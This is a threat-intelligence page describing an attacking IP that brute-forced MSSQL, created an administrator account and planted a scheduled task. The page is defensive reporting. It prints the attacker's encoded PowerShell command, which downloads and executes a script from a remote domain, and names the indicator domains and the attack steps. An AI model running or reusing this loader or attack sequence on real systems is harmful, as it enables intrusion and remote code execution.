Akamai Guardicore Segmentation CTI

Threat Information

Role	Attacker, Scanner
Services Targeted	MSSQL SMB
Tags	Listening Successful MSSQL Login SMB Share Connect DNS Query User Created Execute MsSql Shell Command IDS - Attempted User Privilege Gain CMD Outgoing Connection SMB Scheduled Task Creation Successful SMB Login MSSQL Brute Force PowerShell Access Suspicious Domain File Operation By CMD User Added to Group
Associated Attack Servers	parklogic.com 72.52.178.23

Basic Information

IP Address	117.252.80.225
Domain	-
ISP	BSNL
Country	India
WHOIS	Created Date	-
	Updated Date	-
	Organization	-

First seen in Akamai Guardicore Segmentation	2019-04-14
Last seen in Akamai Guardicore Segmentation	2023-04-19

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)	MSSQL Brute Force Successful MSSQL Login
A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)	MSSQL Brute Force Successful MSSQL Login
MSSQL executed 2 shell commands	Execute MsSql Shell Command
User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB	User Added to Group User Created Successful SMB Login
A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password	Successful SMB Login
C:\Windows\UEdxLTIh.exe was downloaded	Download File
IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change	IDS - Attempted User Privilege Gain
IDS detected Attempted User Privilege Gain : sp_password - password change	IDS - Attempted User Privilege Gain
IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution	IDS - Attempted User Privilege Gain
The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool
Process netsvcs Service Group started listening on ports: 65533	Listening
PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: parklogic.com and v.beahh.com 2 times	DNS Query Access Suspicious Domain Outgoing Connection
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 72.52.178.23:80 2 times	Outgoing Connection
Connection was closed due to timeout

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Threat Information

Basic Information

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